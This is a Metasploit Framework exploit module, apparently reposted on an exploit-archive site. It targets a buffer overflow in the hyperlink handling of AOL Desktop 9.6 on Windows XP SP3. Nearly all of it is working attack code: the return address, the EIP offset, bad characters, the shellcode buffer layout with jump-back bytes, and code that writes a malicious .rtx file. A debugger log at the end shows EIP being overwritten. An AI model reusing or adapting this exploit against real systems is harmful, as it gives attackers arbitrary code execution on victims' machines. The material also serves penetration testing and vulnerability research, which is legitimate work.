ExploitFixes
AOL Desktop 9.6 RTX Buffer Overflow 2011-04-11 17:15:24

##
# $Id: aol_desktop_linktag.rb 12284 2011-04-08 23:09:31Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "AOL Desktop 9.6 RTX Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in AOL Desktop 9.6's Tool\rich.rct
component. By supplying a long string of data in the hyperlink tag, rich.rct copies
this data into a buffer using a strcpy function, which causes an overflow, and
results arbitritray code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12284 $",
'Author' =>
[
'sup3r', #Initial disclosure, poc (9.5)
'sickn3ss', #9.6 poc
'sinn3r', #Metasploit
],
'References' =>
[
[ 'OSVDB', '70741'],
[ 'URL', 'http://www.exploit-db.com/exploits/16085/' ],
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x3e\x7f",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
},
'Platform' => 'win',
'Targets' =>
[
[
'AOL Desktop 9.6 on Windows XP SP3',
{
'Ret'=>0x01DB4542, #0x01DB4542 JMP ESI
'Offset'=>5391, #Offset to EIP
'Max'=>8000, #Buffer max. Can be more.
},
],
],
'Privileged' => false,
'DisclosureDate' => "Jan 31 2011",
'DefaultTarget' => 0))

register_options(
[
OptString.new( 'FILENAME', [false, 'The filename', 'msf.rtx'] ),
]
)
end

def exploit

# Compatible with what the poc has, and what I see on my debugger
sploit = ''
sploit << rand_text_alpha(4968+16)
sploit << payload.encoded
sploit << rand_text_alpha(5368-sploit.length)
sploit << make_nops(11)
sploit << "\xe9\x70\xfe\xff\xff" #JMP back 400 bytes
sploit << [target.ret].pack('V')
sploit << make_nops(target['Offset']-sploit.length-2)
sploit << "\xeb\x04"
sploit << [target.ret].pack('V')
sploit << payload.encoded
sploit << rand_text_alpha(target['Max']-sploit.length)

link_value = rand_text_alpha(6)

rtx = "<HTML>"
rtx << "<A HREF=\"#{sploit}\">#{link_value}</A>"
rtx << "</HTML>"

print_status("Creating #{datastore['FILENAME']}...")
file_create(rtx)
end
end

=begin
0:000> g
Breakpoint 0 hit
eax=00000006 ebx=06652370 ecx=02d9c898 edx=038d0000 esi=00000000 edi=02d99b30
eip=6909e187 esp=0022e638 ebp=0022e648 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
rich!ToolInit+0xed2c:
6909e187 e85cd50300 call rich!ToolInit+0x4c28d (690db6e8)
0:000> g
(8d8.924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=02d38358 ecx=00000000 edx=00000030 esi=02d53cb8 edi=0022e7c4
eip=43434343 esp=0022e760 ebp=0022e780 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
43434343 ?? ???
0:000> dd esi
02d53cb8 43434343 43434343 43434343 43434343
02d53cc8 43434343 43434343 43434343 43434343
02d53cd8 43434343 43434343 43434343 43434343
02d53ce8 43434343 43434343 43434343 43434343
02d53cf8 43434343 43434343 43434343 43434343
02d53d08 43434343 43434343 43434343 43434343
02d53d18 43434343 43434343 43434343 43434343
02d53d28 43434343 43434343 43434343 43434343
=end